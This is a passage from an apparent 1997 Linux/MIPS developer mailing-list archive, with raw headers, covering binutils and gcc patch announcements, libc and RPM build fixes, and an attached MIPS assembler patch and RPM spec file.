(sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA13843; Mon, 17 Nov 1997 15:50:23 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA29885; Mon, 17 Nov 1997 15:50:20 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA00035; Mon, 17 Nov 1997 23:50:13 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xXb1y-0005FrC; Mon, 17 Nov 97 23:56 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Pentium F00F bug Linux workaround; BSDI Response To: davem@dm.cobaltmicro.com (David S. Miller) Date: Mon, 17 Nov 1997 23:56:37 +0000 (GMT) Cc: fisher@sgi.com, linux@hollywood.engr.sgi.com, fisher@hollywood.engr.sgi.com In-Reply-To: <199711172323.PAA27334@dm.cobaltmicro.com> from "David S. Miller" at Nov 17, 97 03:23:46 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 278 Lines: 8 > BSDI putting out their patch ahead of that point in time was, if > anything, totally against how Intel wanted things happen. Dave talk this off list. And if you are going to say things like "XYZ violated their NDA" expect them to both hear about it and reply. Fair's fair. From owner-linux@cthulhu.engr.sgi.com Sun Nov 23 17:16:33 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA99434 for ; Sun, 23 Nov 1997 17:16:33 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA06151 for linux-list; Sun, 23 Nov 1997 17:15:33 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA06125 for ; Sun, 23 Nov 1997 17:15:19 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA24229 for ; Sun, 23 Nov 1997 17:15:16 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-26.uni-koblenz.de [141.26.249.26]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA25346 for ; Mon, 24 Nov 1997 02:15:13 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id CAA10144; Mon, 24 Nov 1997 02:12:09 +0100 Message-ID: <19971124021209.16856@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 02:12:09 +0100 From: ralf@uni-koblenz.de To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: Announce: New development tools uploaded Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1227 Lines: 34 -----BEGIN PGP SIGNED MESSAGE----- Hi all, I've uploaded new patches for the development tools to ftp.linux.sgi.com and ftp.fnet.fr. - binutils-2.8.1-1 This is the first Linux/MIPS version of the tools based on binutils 2.8.1. The upgrade is mandatory if you want to be able to correctly build shared libraries. The old binutils 2.7 based linker had the bug that it would link the entire static libc into a shared library image when the library was linked against libc (-lc) resulting in a unuseable, huge shared library image and a large number of warnings. - gcc-2.7.2-7.diff.gz This release fixes a minor bug in the specs file. Older GCC versions were linking useless object files into all shared libraries resulting in slightly larger object files. Ralf f55e50c1583a9551004fb28efbc71f82 binutils-2.8.1-1.diff.gz e70231058065d5be40e668b5cb601bb6 gcc-2.7.2-7.diff.gz -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 iQCVAwUBNHjUFUckbl6vezDBAQFDjAP7BqaR0RGPnh1AmRSA04/gX4utubgcZYP6 auyx1hoK3yCax72P64J7WD8z/41Nshyi5ehBu9yk4JUKwBaTTErF8NbcY+zTR5v0 lhb0o8DkUR0WA0NxD/YGVdHqBgz9eKJlDUSkTanBItitVBbbhaUGREjmJsFedt0K 0YtqmfD0WeY= =gBCX -----END PGP SIGNATURE----- From owner-linux@cthulhu.engr.sgi.com Sun Nov 23 20:47:42 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA109140 for ; Sun, 23 Nov 1997 20:47:42 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA02226 for linux-list; Sun, 23 Nov 1997 20:44:40 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA02200 for ; Sun, 23 Nov 1997 20:44:30 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA26263 for ; Sun, 23 Nov 1997 20:44:28 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-02.uni-koblenz.de [141.26.249.2]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA29938 for ; Mon, 24 Nov 1997 05:44:24 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id FAA11321; Mon, 24 Nov 1997 05:41:11 +0100 Message-ID: <19971124054108.44804@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 05:41:08 +0100 From: ralf@uni-koblenz.de To: linux@cthulhu.engr.sgi.com Subject: Libc in CVS Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 523 Lines: 16 Hi all, with the bug fixes I checked in during the last few days libc is now pretty stable. In particular the problems with wrong relocations in the X libraries and all libpam clients are working now. Still to do: - some of the fixes are not very nice or correct at all - build binaries for redistribution. Can somebody take care of this? Given that this opens the way to useable native X libraries, which makes building a large number of other RPM packages possible, these patches are quite a breakthough. Ralf From owner-linux@cthulhu.engr.sgi.com Sun Nov 23 20:49:16 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA109024 for ; Sun, 23 Nov 1997 20:49:15 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA02816 for linux-list; Sun, 23 Nov 1997 20:48:41 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA02812 for ; Sun, 23 Nov 1997 20:48:38 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA26897 for ; Sun, 23 Nov 1997 20:48:37 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-02.uni-koblenz.de [141.26.249.2]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA00125 for ; Mon, 24 Nov 1997 05:48:31 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id FAA11347; Mon, 24 Nov 1997 05:45:19 +0100 Message-ID: <19971124054518.62045@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 05:45:18 +0100 From: ralf@uni-koblenz.de To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: Announce: binutils rpm package Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 590 Lines: 22 -----BEGIN PGP SIGNED MESSAGE----- Hi all, I've uploaded little endian native binaries and a source rpm package of binutils-2.8.1-1 to ftp.linux.sgi.com. Ralf f234b72cc2982ec4e2d88db6d700b3b5 binutils-2.8.1-1.mips.rpm d71aeb4d0f36d4a40bb44714099520e3 binutils-2.8.1-1.src.rpm -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 iQCVAwUBNHkF/0ckbl6vezDBAQGXDwQAqyx9LVsB6tFVpBrvy4IA+RnUnjDjn0t8 Xq66Uj2uZhfqB/MH+zgA2VJP4hnd/nuh9PHiRkaOv3sFrKfL7CF7rAQqbQteX3wM xju4Mg5uuRq/0TN43la55Pu6zL8gf/NsvNFEJOsBjuJr7Fn573EjCvH6zTIWc0N7 fw9NSRhQvbE= =mgTZ -----END PGP SIGNATURE----- From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 01:54:39 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id BAA122876 for ; Mon, 24 Nov 1997 01:54:39 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id BAA19084 for linux-list; Mon, 24 Nov 1997 01:49:29 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id BAA19040 for ; Mon, 24 Nov 1997 01:49:14 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id BAA12958 for ; Mon, 24 Nov 1997 01:49:13 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id JAA20082; Mon, 24 Nov 1997 09:48:59 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xZv6B-0005FtC; Mon, 24 Nov 97 09:46 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Libc in CVS To: ralf@uni-koblenz.de Date: Mon, 24 Nov 1997 09:46:35 +0000 (GMT) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: <19971124054108.44804@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 05:41:08 am Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 294 Lines: 7 > Given that this opens the way to useable native X libraries, which makes > building a large number of other RPM packages possible, these patches > are quite a breakthough. With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be bad linking. I'll turn the RPM factory back on From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 03:28:37 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id DAA128257 for ; Mon, 24 Nov 1997 03:28:37 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA05759 for linux-list; Mon, 24 Nov 1997 03:21:49 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA05742 for ; Mon, 24 Nov 1997 03:21:43 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA27561 for ; Mon, 24 Nov 1997 03:21:41 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-22.uni-koblenz.de [141.26.249.22]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id MAA19975 for ; Mon, 24 Nov 1997 12:21:39 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id MAA13129; Mon, 24 Nov 1997 12:05:49 +0100 Message-ID: <19971124120549.01585@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 12:05:49 +0100 From: ralf@uni-koblenz.de To: Alan Cox Cc: linux@cthulhu.engr.sgi.com Subject: Re: Libc in CVS References: <19971124054108.44804@lappi.waldorf-gmbh.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Mon, Nov 24, 1997 at 09:46:35AM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 760 Lines: 19 On Mon, Nov 24, 1997 at 09:46:35AM +0000, Alan Cox wrote: > > Given that this opens the way to useable native X libraries, which makes > > building a large number of other RPM packages possible, these patches > > are quite a breakthough. > > With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be > bad linking. My rpm has never dumped core but it was complaining about nonexisting users while creating the binary rpm file even though the user was existing thus failing to build. That rpm problem is fixed. > I'll turn the RPM factory back on All the source RPM packages on linus are known to build and work for little endian targets. Some of them, for example ncompress, have special modifications to support big endian targets. Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 03:35:45 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id DAA128561 for ; Mon, 24 Nov 1997 03:35:45 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA07745 for linux-list; Mon, 24 Nov 1997 03:33:33 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA07740 for ; Mon, 24 Nov 1997 03:33:31 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA28925 for ; Mon, 24 Nov 1997 03:33:28 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id LAA23091; Mon, 24 Nov 1997 11:33:08 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xZwiw-0005FsC; Mon, 24 Nov 97 11:30 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Libc in CVS To: ralf@uni-koblenz.de Date: Mon, 24 Nov 1997 11:30:41 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com In-Reply-To: <19971124120549.01585@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 12:05:49 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 972 Lines: 24 > > With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be > > bad linking. > > My rpm has never dumped core but it was complaining about nonexisting > users while creating the binary rpm file even though the user was > existing thus failing to build. That rpm problem is fixed. Yep thats the bug - I also got some crashes. It was caused by getpw* failing in peculiar ways. My RPM binary has its own > All the source RPM packages on linus are known to build and work for > little endian targets. Some of them, for example ncompress, have special > modifications to support big endian targets. Im actually trying to build a full RedHat 5.0 by early December so Im picking up your changes to stuff like bash indirectly via redhat on the whole. I can then merge anything that escaped and together we can make sure they are in RH5.1. Obviously as of about Dec1 the amount of answers I can get from RedHat will noise dive for a couple of months Alan From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 04:15:53 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA130159 for ; Mon, 24 Nov 1997 04:15:53 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA15759 for linux-list; Mon, 24 Nov 1997 04:12:49 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA15558 for ; Mon, 24 Nov 1997 04:11:57 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA04479 for ; Mon, 24 Nov 1997 04:11:55 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id MAA23864; Mon, 24 Nov 1997 12:06:22 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xZxFA-0005FsC; Mon, 24 Nov 97 12:04 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Announce: binutils rpm package To: ralf@uni-koblenz.de Date: Mon, 24 Nov 1997 12:04:00 +0000 (GMT) Cc: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com In-Reply-To: <19971124054518.62045@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 05:45:18 am Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 302 Lines: 9 > I've uploaded little endian native binaries and a source rpm package > of binutils-2.8.1-1 to ftp.linux.sgi.com. > > Ralf > > f234b72cc2982ec4e2d88db6d700b3b5 binutils-2.8.1-1.mips.rpm > d71aeb4d0f36d4a40bb44714099520e3 binutils-2.8.1-1.src.rpm The SRPM appears corrupt - its about 1Meg short From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 05:58:40 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135275 for ; Mon, 24 Nov 1997 05:58:40 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13707 for linux-list; Mon, 24 Nov 1997 05:56:21 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13693 for ; Mon, 24 Nov 1997 05:56:19 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA21013 for ; Mon, 24 Nov 1997 05:56:14 -0800 env-from (ralf@lappi.waldorf-gmbh.de) From: ralf@lappi.waldorf-gmbh.de Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00935 for ; Mon, 24 Nov 1997 14:55:41 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14335; Mon, 24 Nov 1997 14:18:04 +0100 Message-ID: <19971124141804.17724@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 14:18:04 +0100 To: Alan Cox Cc: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr Subject: Re: Libc in CVS References: <19971124120549.01585@lappi.waldorf-gmbh.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Mon, Nov 24, 1997 at 11:30:41AM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1655 Lines: 39 On Mon, Nov 24, 1997 at 11:30:41AM +0000, Alan Cox wrote: > > > With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be > > > bad linking. > > > > My rpm has never dumped core but it was complaining about nonexisting > > users while creating the binary rpm file even though the user was > > existing thus failing to build. That rpm problem is fixed. > > Yep thats the bug - I also got some crashes. It was caused by getpw* failing > in peculiar ways. My RPM binary has its own For rpm the trick is easy, just don't use a static linked binary. Unfortunately the Redhat guys seem to think static binaries are a good idea and install a static rpm by default. Which it is not, not even without a buggy dynamic linker. > > All the source RPM packages on linus are known to build and work for > > little endian targets. Some of them, for example ncompress, have special > > modifications to support big endian targets. > > Im actually trying to build a full RedHat 5.0 by early December so Im picking > up your changes to stuff like bash indirectly via redhat on the whole. I can > then merge anything that escaped and together we can make sure they are in > RH5.1. Ok. I stopped communicating with the Redhat guys shortly before I left the US. Essentially they received a part of the patches that I don't classify as ugly hacks or work in progress. Some more packages like the binutils, gcc or libc are based on different versions and we should try to base our work on the same versions as Redhat does. > Obviously as of about Dec1 the amount of answers I can get from RedHat will > noise dive for a couple of months :-) Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 05:58:39 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135042 for ; Mon, 24 Nov 1997 05:58:39 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13589 for linux-list; Mon, 24 Nov 1997 05:55:58 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13578 for ; Mon, 24 Nov 1997 05:55:56 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20717 for ; Mon, 24 Nov 1997 05:55:52 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00951 for ; Mon, 24 Nov 1997 14:55:45 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14380; Mon, 24 Nov 1997 14:29:29 +0100 Message-ID: <19971124142928.47050@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 14:29:28 +0100 From: ralf@uni-koblenz.de To: Alan Cox , linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr Subject: Re: Announce: binutils rpm package References: <19971124054518.62045@lappi.waldorf-gmbh.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=81UyVL57Vl7rS8Cx X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Mon, Nov 24, 1997 at 12:04:00PM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 5909 Lines: 203 --81UyVL57Vl7rS8Cx Content-Type: text/plain; charset=us-ascii On Mon, Nov 24, 1997 at 12:04:00PM +0000, Alan Cox wrote: > > I've uploaded little endian native binaries and a source rpm package > > of binutils-2.8.1-1 to ftp.linux.sgi.com. > > > > Ralf > > > > f234b72cc2982ec4e2d88db6d700b3b5 binutils-2.8.1-1.mips.rpm > > d71aeb4d0f36d4a40bb44714099520e3 binutils-2.8.1-1.src.rpm > > The SRPM appears corrupt - its about 1Meg short Thanks, I'll try to upload it as a single part later the day when phone fees are reasonable insane[*]. So long if you want to rebuild the package for the Indy, you can use the attached spec file and patch (identical to the one on Linus) plus the binutils-2.8.1.tar.gz file from Redhat's binutils-2.8.1-1 package. (binutils-2.8.1.tar.gz should be the FSF version.) Ralf *: Sorry, Ron ... --81UyVL57Vl7rS8Cx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="binutils-2.8.1-mips.patch" diff -urN binutils-2.8.1.orig/gas/ChangeLog binutils-2.8.1/gas/ChangeLog --- binutils-2.8.1.orig/gas/ChangeLog Mon May 26 10:32:45 1997 +++ binutils-2.8.1/gas/ChangeLog Tue Oct 21 03:32:24 1997 @@ -1,3 +1,10 @@ +Tue Oct 21 03:23:59 1997 Ralf Baechle + + * config/tc-mips.c (macro): Only emit a BFD_RELOC_MIPS_LITERAL + when the symbol is in the .lit section. Required for a.out + support. + (mips_ip): Fix %HI, %hi and %lo operators. + Mon May 26 13:24:25 1997 Ian Lance Taylor * doc/as.texinfo: Don't use @value in section names or index diff -urN binutils-2.8.1.orig/gas/config/tc-mips.c binutils-2.8.1/gas/config/tc-mips.c --- binutils-2.8.1.orig/gas/config/tc-mips.c Mon May 26 10:32:40 1997 +++ binutils-2.8.1/gas/config/tc-mips.c Tue Oct 21 03:22:48 1997 @@ -4863,13 +4863,22 @@ else { assert (offset_expr.X_op == O_symbol - && strcmp (segment_name (S_GET_SEGMENT - (offset_expr.X_add_symbol)), - ".lit4") == 0 && offset_expr.X_add_number == 0); - macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)", - treg, (int) BFD_RELOC_MIPS_LITERAL, GP); - return; + s = segment_name (S_GET_SEGMENT (offset_expr.X_add_symbol)); + if (strcmp (s, ".lit4") == 0) + { + macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)", + treg, (int) BFD_RELOC_MIPS_LITERAL, GP); + return; + } + else + { + /* FIXME: This won't work for a 64 bit address. */ + macro_build_lui ((char *) NULL, &icnt, &offset_expr, AT); + macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)", + treg, (int) BFD_RELOC_LO16, AT); + return; + } } case M_LI_D: @@ -6965,11 +6974,23 @@ c = my_getSmallExpression (&imm_expr, s); if (c != '\0') { - if (c != 'l') + if (c == 'l') + { + if (imm_expr.X_op == O_constant) + { + imm_expr.X_add_number &= 0xffff; + imm_reloc = BFD_RELOC_LO16; + } + } + else { if (imm_expr.X_op == O_constant) - imm_expr.X_add_number = - (imm_expr.X_add_number >> 16) & 0xffff; + { + if (c == 'h' && (imm_expr.X_add_number & 0x8000)) + imm_expr.X_add_number += 0x1000; + imm_expr.X_add_number = + (imm_expr.X_add_number >> 16) & 0xffff; + } else if (c == 'h') { imm_reloc = BFD_RELOC_HI16_S; @@ -7064,11 +7085,22 @@ break; offset_reloc = BFD_RELOC_LO16; - if (c == 'h' || c == 'H') + if (c) { - assert (offset_expr.X_op == O_constant); - offset_expr.X_add_number = - (offset_expr.X_add_number >> 16) & 0xffff; + if (c != 'l') + { + if (offset_expr.X_op == O_constant) + { + if (c == 'h' && (offset_expr.X_add_number & 0x8000)) + offset_expr.X_add_number += 0x1000; + offset_expr.X_add_number = + (offset_expr.X_add_number >> 16) & 0xffff; + } + else if (c == 'h') + offset_reloc = BFD_RELOC_HI16_S; + else + offset_reloc = BFD_RELOC_HI16; + } } s = expr_end; continue; @@ -7081,10 +7113,13 @@ case 'u': /* upper 16 bits */ c = my_getSmallExpression (&imm_expr, s); - if (imm_expr.X_op == O_constant - && (imm_expr.X_add_number < 0 - || imm_expr.X_add_number >= 0x10000)) - as_bad ("lui expression not in range 0..65535"); + if (!c) + { + if (imm_expr.X_op == O_constant + && (imm_expr.X_add_number < 0 + || imm_expr.X_add_number >= 0x10000)) + as_bad ("lui expression not in range 0..65535"); + } imm_reloc = BFD_RELOC_LO16; if (c) { --81UyVL57Vl7rS8Cx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="binutils-2.8.1.spec" Summary: GNU Binary Utility Development Utilities Name: binutils Version: 2.8.1 Release: 1 Copyright: GPL Group: Development/Tools Source: ftp://prep.ai.mit.edu/pub/gnu/binutils-2.8.1.tar.gz Patch: binutils-2.8.1-mips.patch BuildRoot: /tmp/binutils-root %description binutils is a collection of utilities necessary for compiling programs. It includes the assembler and linker, as well as a number of other miscellaneous programs for dealing with executable formats. %prep %setup %patch -p1 %build ./configure --prefix=/usr --enable-shared make tooldir=/usr make tooldir=/usr info %install rm -rf $RPM_BUILD_ROOT mkdir -p $RPM_BUILD_ROOT/usr make tooldir=$RPM_BUILD_ROOT/usr prefix=$RPM_BUILD_ROOT/usr install install-info strip $RPM_BUILD_ROOT/usr/bin/* gzip -q9f $RPM_BUILD_ROOT/usr/info/*.info* # Get rid of that arch-specific directory rm -rf $RPM_BUILD_ROOT/usr/lib/bin install -m 644 libiberty/libiberty.a $RPM_BUILD_ROOT/usr/lib install -m 644 include/libiberty.h $RPM_BUILD_ROOT/usr/include %post -p /sbin/ldconfig %postun -p /sbin/ldconfig %files %doc README /usr/bin/* /usr/man/man1/* /usr/include/* /usr/lib/* /usr/info* --81UyVL57Vl7rS8Cx-- From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 05:58:38 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com 